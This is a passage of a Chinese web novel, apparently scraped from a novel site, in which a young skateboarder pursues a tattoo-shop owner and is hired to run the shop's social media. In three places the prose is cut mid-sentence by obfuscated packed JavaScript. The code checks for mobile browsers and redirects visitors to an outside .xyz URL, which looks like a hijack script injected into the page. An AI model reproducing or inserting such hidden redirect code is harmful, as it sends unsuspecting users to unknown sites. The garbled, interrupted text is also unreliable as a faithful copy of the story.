陈述不跟老人家辩驳,好笑地点了点头,应道:“行。我等着栽跟头。” ———— —— 7. 速降 * 向嘉洋联系了一下詹谷雨。 向嘉洋:谷雨。 -我要泡钛谷店的老板。 -你给我想个办法! 詹谷雨:???? 他们关系好,詹谷雨早知道向嘉洋跟小樊总分了手,可是詹谷雨自己都半桶水,没什么恋爱经验,他帮不了向嘉洋,而且他还是独身主义。 在他眼里向嘉洋一直是初高中桌肚塞满情书的香饽饽,跟着向嘉洋他蹭吃蹭喝了不少,现在身份转换,变成向嘉洋要往人家桌肚塞东西了,詹谷雨不习惯。 詹谷雨:你肯定只是一时上头。 向嘉洋:也有道理 -那怎么办? 詹谷雨:你先去和他聊天 -让他感受一下你的魅力 向嘉洋:我怕太明显。 -只要聊天就有魅力了吗? 詹谷雨:其实我觉得你直接发张自拍给他就够了,都不用打字 “....” 向嘉洋:我了解我自己。 -如果我给他分享了什么,他认真回复了我... -我就会顺着杆子往上爬 -怎么办 詹谷雨:我没招了。 -你怎么crush上的? -怪我。早知道如此不该带你去穿孔店。 -我会负责的[咬手帕.jpg] 向嘉洋:我觉得他很性感。 -那我们现在的策略是什么? -两个字。 -放弃? 詹谷雨:我们放弃吧。 -你去找个更性感的,怎么样。 -陈述很难泡,他不是奥利奥 -我没开玩笑 向嘉洋:目前没有看到比他更性感的。 -他在我眼里是最性感的 -你不要吵,我们的星座是契合的。 詹谷雨:“......” 詹谷雨:这种症状持续多久了? 向嘉洋:大夫救我 詹谷雨:给我看看你们聊天记录?帮你参谋参谋。 向嘉洋觉得不太礼貌,没截图,只是转述,就讲了他怎么和陈述预约穿孔的。 詹谷雨:我觉得他对你有点客气。 一看到这句话向嘉洋就有些心灰意冷。他瘪瘪嘴。 向嘉洋:可能是客家人,应该的。 詹谷雨:? 詹谷雨:和客家人有半毛钱关系吗。 詹谷雨:我看他工作号资料里的地区信息了,写着安道尔。 -我再看看你的 -哦你还是埃塞俄比亚的呢,洋气 “...” 谷雨不愧是谷雨,能跟上他的脑回路。 向嘉洋:我要拉黑陈老板三天 -冷静一下 -会不会太莫名其妙了 詹谷雨:???? -全世界找不出第二个你这么和crush聊天的。 -言归正传,他发现了怎么办 向嘉洋:对我有意思自会找我问清楚 -不喜欢我那不必强求 詹谷雨:我知道这个叫什么 -宿敌 -死对头 -好吃得钥匙 向嘉洋:? 向嘉洋发了一条语音过去骂詹谷雨:你是不是有病。 詹谷雨也发了一条回来:我拉不住你了,把joe叫出来,我们两个打你一个尚有胜算。 而后詹谷雨邀请向嘉洋去日落公园。 詹谷雨:最近新买了两个滑板,来玩吗? 向嘉洋欣然答应:好! 他喜欢和詹谷雨混在一起,他们都是大凉山考出来的,又是高中同桌,可以说目前风铃岛上向嘉洋最留恋的人就是詹谷雨和陈老板。 向嘉洋一边哼着朋友一生一起走,一边拎着包出门。 * 日落公园位于外岛,地铁半小时抵达。 风铃岛其实面积很小,除了须弥山以外,其他平原地带总共都不到三万平方公里。 落日公园周围有盘山路,然而基本没有车会来,政府默认它直接被空出来给市民散步用,傍晚和清晨是最多大爷来锻炼,以及年轻人来跑步的时段。 他们约的下午,盘山路附近没几个人,只有三三两两的小学生在放风筝。 “我找了个教学视频 ,刚好这有个坡,角度ok,平整度ok,无车无行人。”詹谷雨手搭在向嘉洋肩膀上,指点江山一般地在面前画了一个圈,“如何?这一块是不是练习手刹的完美地点!” “其实速降手刹我已经学会了。”向嘉洋挠挠脸,说。 “...什么?!” 詹谷雨愤怒指控向嘉洋背着他练习。 转而又喊向嘉洋给他示范一遍。 这是个长而不算陡的坡,目测十五度。 盘山路两侧是宽阔、望不到头的田园,黄稻青树,海风咸湿,农庄房檐的风铃被阳光照得五彩斑斓。 “谷雨,我觉得我们沿着这个坡滑下来,可以去到世界尽头。” “有道理,但是我们得先赚点钱。” 向嘉洋笑起来,说他好务实,插科打诨互损了几句,向嘉洋拎着板去坡顶。 阳光照在他身上。 还是蓝色的防晒服,搭配了适合夏天的白色五分裤,露出来的一截小腿嫩得发光。 墨镜被别在头顶,撩起额前碎发,露出细眉和恒星般的眼睛。 向嘉洋一脚踩上滑板,冲底下的谷雨打了个响指: “来了!” 他弯腰背手,滑板像条被放回海域的鱼,扑腾下来。 速度越来越快后,海风猎猎,带起向嘉洋的衣角,小腹一块瘦而不柴的三角区若隐若现。 詹谷雨吹着口哨,手作喇叭状:“要小心哦——!” 向嘉洋隔空冲他比了个“ok”的手势,滑到一半的位置时有一个弯道,詹谷雨看中的就是这个弯道,适合速降手刹。 他为向嘉洋捏了一把汗。 向嘉洋却毫不犹豫地压下重心,膝盖一弯,侧身伸手,手套上的puck石块摩擦地面,橙红的火星在他掌心燃起,随之飞溅。 詹谷雨就这样看着向嘉洋一路火花带闪电地急刹,重心极稳,甩尾、转身、收速,全程一气呵成,像一道利落的闪电,最后平稳地降下来,安全落地。 他张嘴震撼:“卧槽!” “洋,我要爱上你了。” “...不要。”向嘉洋羡慕地看着他的唇钉,婉拒,“我心有所属,抱歉!” “你练这个摔过多少次?” “我没数,但肯定很多,我膝盖一整月都是青的。” “那我肯定也要摔。” “摔呗。”向嘉洋笑起来,“练滑板谁不摔?喜欢就不怕困难!” 詹谷雨和他击了个掌,两人分开,一个练习手刹,一个在缓坡练习交叉步和尖翻。 比较悲惨的是,他俩都摔得四仰八叉。这些技巧不好练,磕磕绊绊是常态。 陈述出来时,看到的是这样一副情景。 落日公园的长椅上坐着两个年轻男孩,各有各的伤口。 詹谷雨脸上有灰,手肘淤青,向嘉洋则把右边的裤子卷到大腿根,膝盖很惨烈地破了一层皮,应该是摔倒造成的,肉和血混在一起,外翻了,触目惊心。 看上去向嘉洋更惨点儿。 夕阳打在向嘉洋后背上,头顶油棕树叶在摇晃。 他侧头和詹谷雨说了句什么,詹谷雨给了他大腿一巴掌,两人互相笑起来,笑得喘不过气、使不上力气,还要打成一团。 陈述从老房子出来前,老爷子还站在门边念叨他,说你现在只需要给我们老陈家带一个人回来就行,不管男的还是女的,我们现在怕你说要跟雷达私定终身。 陈述把老爷子哄走了,照例没当回事。 他也觉得奇怪,怎么最近总是能见到向嘉洋。 连在外岛都能碰上。 陈述脚步停住了,手里拿着车钥匙,打算去开他那辆保时捷。 向嘉洋和詹谷雨讲了什么,要证明般站起身,卷着裤腿就走到了滑板上,从缓坡下来,半中途换了脚步,结果一个小学生突然从灌木丛里冲进来,吓了向嘉洋一大跳,直接紧急横刹,一屁股跌坐在地上。 小学生也吓了一跳,转头跑了,詹谷雨脸色发白走过去,赶紧问:“没事儿吧?!” 向嘉洋摆摆手,自己站起来。 这下好了,左膝盖也伤了,多了块淤青。 他一瘸一拐地坐回了长椅上,詹谷雨在旁边对他进行话疗:“没关系,你现在吃的苦都是以后能耍的帅!” 说是这么说,詹谷雨还是拿起手机,要买药。 这是向嘉洋今天摔得最疼的一次。 被陈述看见了。 詹谷雨正说着“要不我们先回去”,突然用手肘顶了向嘉洋一下。 “干嘛。” “你看啊!快往那看!!”詹谷雨一惊一乍。 陈述觉得自己好像回到了十几年前的高中时代,他注意到了詹谷雨的小动作,也接住了向嘉洋投过来的遥远的眼神。 青春这个词不适合陈述了,不过很适合向嘉洋。 他把车钥匙塞回了兜里,朝那边两人点了下头。 看向嘉洋站起来,陈述于是走过去。 “在玩滑板?”陈述说。 运动过后,向嘉洋额头挂着汗水,前额碎发也湿漉漉的,他看着陈述,眼睛很亮,打了声招呼:“陈老板。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177237|180770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我在练尖翻和交叉步,不过还没练好,练好以后可帅了,可惜你来的不是时候。” 看他还真的一脸遗憾,陈述嘴角有了点弧度,看向地上的滑板,笑:“那是有点可惜。” “你喜欢吗?”向嘉洋直接看着他,“那我肯定会练好的,到时候给你看。” 这话有点少年气,还带着拽拽的自信。 陈述没有说行还是不行,视线下移看清向嘉洋膝盖上的伤。 远看模糊一片,近看更是让人心脏都提了起来。 陈述眉毛几不可见地皱起,跟他说:“你先坐下。” 向嘉洋看陈述表情很严肃,他愣愣坐下,不知道自己哪儿做错了。 结果陈述半蹲下来,像求婚似的蹲在自己腿边,深色而锋利的嘴唇形状格外好看,唇峰是凹陷下去的,平添一丝不近人情。 他一张一闭说了什么向嘉洋完全没听进去,光看着陈述的嘴巴发呆。 陈述扬起眉,手指叩了叩长椅木板,“听没听我说话?” “啊?”向嘉洋回神,心虚,“听了,听了。” 陈述一看就知道他根本没听,也不戳穿,当个不太省心的小孩般交待他:“我说,你回去用双氧水清理干净伤口,再淋碘伏。最好用纱布贴好避免细菌感染。” “伤不算很严重,没流太多血,嫌麻烦的话你去药店买个医用敷贴也可以。” 詹谷雨非常努力地把自己变成空气人,听到陈述提结痂,立马憋不住,告状道:“陈老板,向嘉洋手特欠,皮实得很。以前他身上要是什么伤口结痂了,他肯定忍不住要扒。” 向嘉洋瞪大眼睛看詹谷雨。 喂! 詹谷雨:呵呵。 陈述抬头看向嘉洋,语气有点兴师问罪,眯起眼:“还要扒?” 向嘉洋赶紧:“不扒了不扒了,我这回肯定不扒,等它自己脱落。” 看陈述表情都没变,向嘉洋欲盖弥彰:“陈老板,你不信我?” 陈述站起来,笑了下:“还真有点不信。” “那我每天都给你拍一下我的伤势,直到它好。”向嘉洋说。 詹谷雨突然猛地抓住了木椅扶手,闭上眼睛忍得额角青筋都浮现,嘴角差点没压住。 陈述想了想,居然说:“行”。 “每天一张。忘了拍我会去民宿找你算账。”陈述语气不容置喙。 “我送你们回去。”陈述说。 他领着两人去了停在田园边的保时捷,把两块滑板放进后备箱里,车内两个人在嘀嘀咕咕说什么,看起来很激动,陈述没太听清,也没有要刻意听别人谈话的意思。 詹谷雨:“他!” 向嘉洋:“他!” 詹谷雨攥紧了向嘉洋的衣服:“他为什么同意了?!?!换做任何一个其他人都会觉得莫名其妙吧??” 向嘉洋也在思考:“你觉得他对我还客气吗?现在是不是多了一点毫无必要的同情。” 詹谷雨脑子转过来了:“哦我明白了。” “他把你当儿子了。” 向嘉洋:? 詹谷雨:“你看,你在他眼里跟钛谷店的年轻学徒们其实没区别。年龄差摆在那。陈老板三十又一,商海沉浮,他肯定把你当小朋友呢。” 向嘉洋不满意:“我不是。” “再说了我才比他小8岁,他8岁就能有孩子吗。” 车内说话声戛然而止。因为陈述打完电话靠近了车门。 后座两人时不时交头接耳一下,陈述没有打断。他们完全把陈述当司机了,就差报上手机尾号。 “对的我出租屋就在这了,路口停就好,谢谢你啊陈老板。麻烦了!”詹谷雨拉开车门时朝驾驶座的人挥手,“拜拜,路上注意安全!” 陈述开的车比较低调,但他爹非常不低调,甚至可以说非常出名。要是被陈晟知道他当作继承人、分分钟百万上下的儿子晚高峰开车,把两小男生分别送到城东和城西,中途还去了趟诊所,他下巴能惊得掉地上。 纯属闲的。 车内就剩下陈述和向嘉洋。 保时捷缓缓调头,开到大路上。前面是红绿灯,陈述踩了刹车。 没了詹谷雨的聒噪,车里显得过于寂静。 陈述不由得抬眸看了一眼后视镜,结果视线意外地与向嘉洋交汇。骤然一瞬。 陈述把着方向盘,手指无意识地点了点。 镜子里,向嘉洋冲他大大方方一笑。 一时间两人都没开口说话。陈述是本来就话少。 向嘉洋是故意的。 他就想让陈述找找话题。 反正陈述给自己的定位不是长辈么。 ———— —— ———— —— 8. 颜控 * 刚刚对视的那一眼让车内气氛有些说不清道不明。 受欢迎的人从小到大接受过的暗示数不胜数,这方面早就被锻炼得十分敏锐。可能在某一刹那他能感受到磁场的突变,但陈述没想擅自揣测别人的取向,也不会认为路上随便走过一个多看他两眼的人就是对他有意思。 他收回视线,保时捷平缓开出了十字路口。 半晌。 陈述问:“旅居结束之后打算做什么?” 听他问这个,向嘉洋笑了一声。 狭小空间,后座离陈述不过半米距离,那声笑像在他耳边震着。 “怎么了?” 向嘉洋道:“陈老板,你很像我家里的亲戚,关心我毕业后做什么工作,工资还行吗,什么时候结婚,有没有对象了。” 陈述听出他在打趣自己,也开玩笑地问:“行,那你有没有对象了?” 向嘉洋:“本来是有的,但分手了。” “因为什么,性格不合?” “不全是。他出轨。” 陈述意外地再次看向后视镜,向嘉洋还是那么坦坦荡荡在看他,视线主要集中在陈述的脸上。 陈述道:“抱歉。” “不用抱歉!”向嘉洋义正言辞,“又不是你出轨。” 本来陈述觉得自己提起了向嘉洋的伤心事,现在看来向嘉洋似乎没有因为那段感情而过多内耗。他笑了笑,没再多说什么。 把着方向盘,保时捷开入社区街道,很快要到民宿。 “陈老板。”向嘉洋忽然凑近了些,陈述侧头就能感受到他呼吸,“你有没有朋友单身?可以给我介绍介绍。我还是想感受一下多巴胺分泌的滋味。” 陈述倒是好说话:“有什么要求?” “首先一点,我喜欢男人。”向嘉洋说。 “陈老板,你会介意吗?” 车内突然如同与世隔绝般死寂。 陈述怎么也没想到向嘉洋会跟他直接撂底。 他往后扫了眼,看见向嘉洋的表情带了点紧张。 现在社会开放,但不代表小众取向被全面接受。考虑到向嘉洋家乡的情况,以及他的成长背景,陈述说:“不介意。” 向嘉洋还是紧张。 陈述干脆道:“不是跟你客套,是真不介意。” 毕竟他自己也没好到哪去。 “每个人都有自由选择爱人的权力。”陈述说。 “好!那我提要求了?” “请讲。” 陈述洗耳恭听。 向嘉洋想了想,“要比我高,有一份正经工作,至少能养活他自己,不能要我养,因为我目前连自己都顾不好。性格要稍微沉稳一点,不要和谷雨一样咋咋呼呼的。做朋友咋呼是优点,做恋人我怕我跟他打起来。” 陈述听了想笑,话一聊多他放松了些。 向嘉洋只要想让人舒服,就不可能把天聊死。 陈述点头:“行。还有么?” “要比我帅的。” “这有点难吧。”陈述说。 向嘉洋一下笑了。 就因为这句话,他开心得能转圈。 至少在陈老板那,他的外形条件够格了。 陈述这么冷淡一人,有手艺有背景,帅气多金,眼光高也是理所当然。这个年纪了还没有谈过恋爱,想必是不愿意将就,故而洁身自好。 他越难追向嘉洋越喜欢,就像玩滑板一样要循序渐进,挑战高难度才有趣,有成就感。 他继续照着陈述说:“年纪要比我大,会画画最好,我们有共同话题。” “住得离我民宿近更好,方便见面。” 陈述越听越有些上了贼船的感受,他道:“你说的这些我们店学徒都满足。你可以挨个挑。” 向嘉洋问:“不是学徒的能挑么?” 陈述忽地一顿。 手指再次无意识地点了点方向盘。 气氛又开始往说不清道不明的方向拐。这是今天的第二回。 陈述反问:“不是学徒的,你还想挑谁?” “金牌客户之类的嘛!”向嘉洋言之凿凿,“陈老板你的客源多,风铃岛上来纹身穿孔的肯定也有好多单身帅哥。” “....” 方才拉紧的弦好像松了些。气氛骤缓。 “你就喜欢帅的。”陈述算是听明白了,语气不咸不淡道。 “我有一点点颜控。”向嘉洋承认得坦然,嘿嘿一笑,“不好意思!” 向嘉洋不敢再瞎撩了,他感觉自己刚刚要是说想挑钛谷老板,陈述能当场停车让他滚下去。 他承认自己今天有点激动。从陈述交代他要注意用药,又主动说开车送他们回去开始,向嘉洋就处在一个较亢奋的状态里。 现在撩完冷静了。 但是也没那么冷静。 他真的看上了陈老板,那么陈述必是他囊中之物。 向嘉洋就不信自己拿不下他。 向嘉洋所在民宿是南汐巷街道的某一栋,这儿分两个区域,一块是开发出来的高档别墅区,一块是自建房,两大区域呈两侧分布,面对面。 南汐巷的柏油路在傍晚透出一层亮光,街道办聘请了美术馆的老师给路边的墙画了涂鸦,响应的是建设美丽城乡的号召。 一辆很骚包的紫色兰博基尼从转角处拐过来,和陈述的车狭路相逢。 迎面能感受到车主的张扬,直到兰博基尼堪堪挡住了陈述的车头。 兰博基尼驾驶座车窗摇下来,一个帅得惊人的男人摘下墨镜,一只手搭在车窗边,欠揍地冲陈述一啧:“陈老板,缘分啊。” 陈述单手罩着方向盘,指尖点了点,神情散漫,也把车窗降下来,语气有点不耐烦。 “你吃饱了撑的?” 萧思越乐得直拍车门,“火气这么大?我不就挡了一下你路么,想着跟你打个招呼,这么热的天我出个门不容易,咱两还能遇到。这不叫缘分?” 他视线往后移动,发现陈述车里竟然还有别人。 “这位是?”萧思越对上向嘉洋视线。 萧思越没有看向嘉洋太久,他只粗浅留了个印象,是个唇红齿白的年轻男孩。 但他死盯着陈述,眯起眼睛,眼底闪过了明显的玩味。 风铃岛旅游业逐渐发达后也吸引了不少资本家的目光,尤其是跨海大桥项目建成后,风铃岛和陆地沿海那一块的城市往来也方便了很多。 萧思越来风铃岛三年多,从陈述开店那会儿两人就已经认识了。 他给陈述投了资,家里公司也有不少合作往来。 当初萧思越主动找陈述谈生意,其实看中的是香港陈家。说白了是想通过陈述和他爹陈晟套个近乎。 不过后来完全忠于人品。 两人饭局上见过几面就成了兄弟,萧思越跟合得来的人一向肝胆相照。 他比别人了解陈述多些。 陈述这人看上去冷冷淡淡禁欲系,高岭之花,难搞得要死,实际斯文败类,还闷骚。 一旦破了什么戒,你猜他急不急呢。 陈述不太能精准把握如何介绍向嘉洋,于是一时半会没说话。 萧思越自己猜了:“你家什么远房亲戚?” “不是。”陈述说,“客户。” 那绝对不正常。 堂堂陈老板送什么客户需要送到家门口,还是长得这么周正的男孩。 “你好。”向嘉洋脆生生在车里打了声招呼。 “你好你好。”萧思越笑起来,吹了声口哨,很流氓地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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向嘉洋笑:“收到!保证完成任务!” 回到民宿,向嘉洋把陈述给他买的药拆开,搜了下价格。计算完总价,还加上晚高峰打车的费用,他给陈述工作号发了红包,而后拍了一张用完药的照片,一起发了过去。 红包金额一共178,陈述没有收。 他好像总是不收向嘉洋的钱,向嘉洋也没办法,整理好双氧水和碘伏,切聊天框找简凡,问他店里还招不招人。 简凡:[学徒?不收了。你咋不直接去问我们老板。] 向嘉洋:[除了学徒呢,没有别的岗位吗?或者我站前台服务也行,您歇着!] 向嘉洋:[我不要工资,什么活都能干,扫地洗碗或者整理器材,管我一口饭就好。] 简凡:[你这是抢我的饭碗!!] 简凡:[好吧我想了想,其实还是缺人的。我们店在各平台都有账号,需要有人运营,我不管发什么都限流,一直没把账号做起来。] 简凡:[你什么专业的?会新媒体运营吗?] 向嘉洋:[那你找对人了。虽然我不会,但我能干好!] 简凡看他这么胸有成竹,直接道:[你明天过来,我们面谈看看。] 向嘉洋心满意足地哼着歌,坐在窗边开始赶稿。 海风路过了窗口,吹拂着脸,油棕树沙沙响。 他离陈老板越来越近了。 好事! ———— —— 9. 那坨墨 * 钛谷店。 前台只有简凡一个人。 纹身店五六个学徒,有男有女,女孩儿二十来岁,叫官天萌,打了眉钉和唇钉,看上去很酷,脖子上还有个蝎子纹身,据说纹的是她养过的唯一一只宠物。 “来面试的是吗?”官天萌甩了两下手,摘了手套,把向嘉洋领进了消毒室,“外面人多太吵,没什么地方坐,我们就在这简单聊聊,不是什么正规的面试,所以你也不用紧张。” “好。”向嘉洋冲她笑了下,“这是我的简历。” 官天萌一目十行,发现向嘉洋本科居然是软工的。她有些吃惊:“c9本还有海外研究生经历,你不可能找不到工作吧?” “只是你和我们这个岗位不匹配。” 向嘉洋有三段大厂实习经历,基本都是开发岗。他的简历很漂亮,尽管现在就业市场不景气,但只要他愿意就能拿到offer。高低薪无非是脱不脱孔乙己的长衫的问题。 这让官天萌好奇了,问了个所有hr都会问的问题:“你为什么gap?” 向嘉洋一下被她逗笑:“你刚刚还说不是正式的面试。” “...你不想回答也可以。”官天萌清了清嗓子,“我们招运营,要管几个官号,要求网感强。你可能不适合。” “我可以试试的。”向嘉洋举起手,像回答老师问题的学生,“我有万粉账号,也接过一点广告,和品牌方对接之类的流程我熟悉。” “什么?!?!”官天萌瞪大眼睛,“你做什么类型的账号?” “我会画画,偶尔接一点稿,手上有一个原创表情包的ip。” 官天萌内心直呼牛逼。简凡跟她说来的是个小帅哥,好像对他们老板有点意思,官天萌以为是恃靓行凶来蹭吃蹭喝的,结果人家很有实力。 换句话说,把向嘉洋丢到哪他都饿不死。 “你先看看我们店的账号。”官天萌改了主意,“我给你一周的时间,要求涨粉200,或者某一条笔记点赞量破500,OK吗?” “会给你开工资的,底薪5000,绩效另算,包吃包住。” “住在哪里?”向嘉洋明目张胆地问,“和陈老板家近吗?” “你要是能把我们店的账号盘活了,直接住陈述家里也未尝不可。”官天萌揶揄道。 “虽然我们老板技术是全岛第一,但附近几家同行总是拿账号活跃度和数据来嘲讽我们,说我们跟不上时代。所以,这是我们一雪前耻的机会,所有的希望都寄托在你身上了!” 居然还可以住在陈老板家里。 向嘉洋跃跃欲试。 他简单和官天萌聊完,从消毒室出来。 今天向嘉洋穿的仍然是长袖防晒服,里面搭了干干净净的白T恤,中裤的裤腿往上卷了些,露出发红的膝盖。 路过的学徒都会多看他两眼,玩滑板留下的伤实在惹人注目。 向嘉洋在沙发上坐了会儿,店里学徒都很忙,客人也多,他等了半天都没等到想见的人,抿唇局促地端坐着。 简凡路过时好心地给他指路:“述哥在那间纹身室,今天要做个大图,你感兴趣可以进去看看,我们有学徒在里面观摩,顾客不介意。” 向嘉洋摇摇头。 他表示不想打扰陈述工作。 不过向嘉洋换了个座位,从现在这个方向往前看,能看到那间纹身室虚掩着的门和门缝,门缝里,穿着黑T的男人偶尔会出现在视线中。 陈述给人纹身时严肃而一丝不苟,戴着口罩也遮不住他优越的五官,帅气逼人。 他握着纹身枪,撩起的袖口露出一截紧实小臂,恍惚间向嘉洋想到陈述拿着穿孔钳的情景。 陈述喉结上的痣会随着他说话而浮动,这颗痣简直点在向嘉洋前列腺上。 “外面那个是谁?”姚小川问。 简凡进来时顺手把门拉开了点,堂而皇之。 “新招的运营。”简凡说,“以后可能会在我们店工作。” “招这么帅的运营?”姚小川震惊,“有一个述哥我们店都被戏称为风铃岛公社了,再来一个那还得了?!” “你别逼逼叨叨的,萌姐严选,人家有万粉账号呢。”简凡瞄了陈述一眼,“有的人福气真好,站着一句话不说就有桃花找上来。” “说话怎么阴阳怪气的。”陈述开了口,眼睛倒是还定在客户手臂上,开始铺色,“来多久了?” “你问向嘉洋吗?”简凡说,“半小时吧。” 陈述偏了下头,透过门缝和沙发上的向嘉洋对视。 对方扬起笑脸,冲他小幅度挥挥手,张嘴说了声什么,看口型应该是“嗨”。 “小川去给人倒杯水。”陈述说。 “什么?!”姚小川哀嚎,“为什么是我,我还没看够呢!” “倒完再回来。” “...得。” 姚小川肩负重任去了,回来后继续看陈述纹身。 今天这个图是纹的手臂,很大,从手腕一直到肩膀,纹身室内几乎没有交谈声,又过半小时,客户叫停。 “痛得受不了?”陈述问。 客户龇牙咧嘴:“卧槽,没想到这么疼。” 陈述笑了,让他缓缓。 简凡在整理作品集,大图基本都要上传,他以为没什么事了,陈述忽然问:“人还在等?” “啊?”简凡抬头懵逼,半晌反应过来,“啊,在呢。应该是有事找你吧。” 客户还在喘气,抓着床手臂都发抖,嚷嚷着要再缓几分钟。 陈述于是拉开门出去了。 雷达正趴在向嘉洋腿边,满脸惬意地晃着脑袋。 很少见它能和人这么亲密,陈述走过去,拍了拍它的背。 雷达扑进陈述怀里,陈述捏着它下巴逗了逗,“懒。” 雷达不满意地哼了两句,跟它八面威风的长相截然不符,在主人面前竟然还是个撒娇精。 向嘉洋也没闲着,边刷官天萌给他的账号边等的,抬头时陈述的脸忽然近在咫尺,他心跳都漏了拍。 “陈老板。”向嘉洋喊他。 “店里有水果,要么?”陈述问他,“等挺久了,今天的图有点复杂。” “没关系,我正好在想宣传文案,陈老板你忙你的,不用管我。”向嘉洋说。 然而陈述天生是个操心的命。别人他可以不管,向嘉洋他不好不管。 过了会儿,姚小川嘴角抽搐着端了盘水果过来:“来吧王子殿下,您请吃。” 向嘉洋差点笑出声:“干什么?” “我们陈老板叫我给你的啊。”姚小川亮出自己十个手指,“我还特地洗手了给你剥了橘子皮,切了个苹果,这些你不吃完我跟你拼命!” “你们老板为什么这么招待我?”向嘉洋塞了两果切进嘴里,冲姚小川竖起大拇指赞叹好吃,继而问,“我是不是给你们添麻烦了?” “不是。”姚小川想了想,“应该是觉得屈才吧。我们萌姐进去念叨了十分钟,说你怎么怎么厉害,还跟陈老板说,如果试用通过了要给你加薪。” 向嘉洋怪不好意思,连连和姚小川道谢。 其实说屈才真的算不上。 向嘉洋不适合在写字楼里工作,他尝试过,还尝试过三次,均以失败告终。 长期的人格切换会压迫精神,joe不喜欢坐班,他还只是个初中生,不懂算法,不管是处理同事关系还是对接项目,只要joe顶号就会弄得一团糟。 在和joe彻夜长谈过后,向嘉洋决定先不找对口的工作,大厂的环境和制度也不适合他的精神状况。 目前来看,joe虽然嘴上没说,但应该是喜欢风铃岛的,他出来的时间变短了。 向嘉洋点开手机备忘录,在里面打字。 -乔,我即将成为钛谷店的员工。 -你要是醒来... “我不同意。”尖锐的男高音在脑中爆发。 向嘉洋手一抖,手机差点掉地上。 “你和陈述发展到什么阶段了?你怎么坐在别人店里像个老板一样还有人给你送水果??陈述是不是骗你睡觉了?还是你们亲过了?向嘉洋你要气死我了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177239|180770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !!!你怎么这么好色!!!” “停...”向嘉洋伸手打住,“太吵了乔儿,冷静点,我们什么都没发生!” “我不信,你再这样我就告诉资助人,说你根本就没有在好好读书而是沉迷男色!” “...我已经毕业了。再说了,资助人又不是我的监护人!” 他们必将爆发一次争吵,向嘉洋觉得这里不合适,强行打断了joe的发难。 “你在和谁说话?”简凡听到向嘉洋一个人坐在沙发上嘀嘀咕咕,抱着平板走过来,满脸疑惑,“打电话吗?” “没有。”向嘉洋摆摆手,“我刚刚想好文案了,等会儿发一条,晚上看看流量怎么样,萌姐给我的时间是一个星期,如果我今天就完成的话是不是明天就可以正式入职?” “今天就完成?”简凡没当回事,笑了两声,“你给我画饼呢。” 傍晚,陈述从纹身室出来。 向嘉洋这才看清里面的客户,是个男人,三十多岁,手臂衣袖撩上去,露出了纹好的图,是一大丛的曼珠沙华,红黑交织。 大哥似乎特别满意这张图,一直追着陈述聊天,打款也爽快。 简凡准备点外卖,问向嘉洋要吃什么,向嘉洋拿着手机过去。 “你看看。”向嘉洋把账号给他。 简凡低头瞟了一眼,下巴差点掉地上。 他以前发什么都只有几十或者几百浏览,向嘉洋那条后台显示浏览量已经破万,而且还在持续增长。 文案标题:我重生了,重生成妈妈见了会皱眉的那坨墨。 简凡:? 文案内容:追求我的人从教室排到阿联酋,我看上的男人有刀削般的下巴和一双七彩的眼眸,调色盘中有三分留恋,四分锲而不舍的哀求,他的影后妈妈给我五百万要我离开地球,他说朋友圈发的情侣合照是被人作秀,撒谎说愿意抛弃豪门跟我细水长流,实则为了回国的白月光将我赶到乡下去放牛,重来一生我要复仇,可是一坨墨能做什么?能做全臂、满背和花胸。价格亲民,定制包你满意,详细复仇计划请到-@钛谷tattoo店-聆听。主页有部分作品、地址、联系方式和价目表,关注可领优惠券。 简凡:????? 就他看完文案的这会儿功夫,点赞已经破千,评论更是笑翻了天。 -是我认识的那个钛谷吗?? -运营是不是换人了我不行了! -不敢相信老板顶着那张脸说出这段话会有什么效果,如果可以的话我现在就去店里纹身。 -你们快去啊!!!这家店老板巨帅!! -世风日下,业内标杆钛谷也下海了doge 简凡受不了了,拿着手机去找陈述,陈述刚送完客户,回头就被简凡拦住。 “述哥你快看。”简凡把这辈子最难过的事情想了一遍,憋着笑把屏幕怼陈述面前,“我们官号第一条千赞笔记诞生了。你觉得和我们店的风格匹配吗?要不要打回去重发?” 给简凡看的时候向嘉洋还信心满满,但轮到陈述评估,向嘉洋有点紧张。 他其实也觉得这好像不太符合钛谷风格,毕竟老板的脸是走高冷风的,纹身一般给人的印象也是酷和潮,这个文案太乱来了。 然而陈述看完,居然笑了。 还不止笑一下,笑了好多下。 他笑起来很好听,磁性的嗓音在耳边震动着,让人心旷神怡。 向嘉洋紧张到悄悄搓手指:“我合格了吗?试用期可以提前结束了吗?脑力劳动也是劳动,我想了好久的,如果不行的话能不删除吗,隐藏也行,好歹保留一下我的劳动成果。” 陈述抬手揉了揉他脑袋,笑:“慌什么?我会吃人?” “去休息吧。明天来上班,小官会给你安排时间。” 向嘉洋愣住。 陈述手收回去后,他头顶仿佛还保留一点掌心的温度。 几分钟后,向嘉洋收到了转账信息。 陈述给他打了两万块。 joe:? ———— —— 10. 人格切换 * 两万,在joe认知里,是高薪,是陷阱,是陈述没安好心,想用这种卑劣的手段接近向嘉洋。 在向嘉洋的认知里,这是青柠汽水,是恋爱的气味。 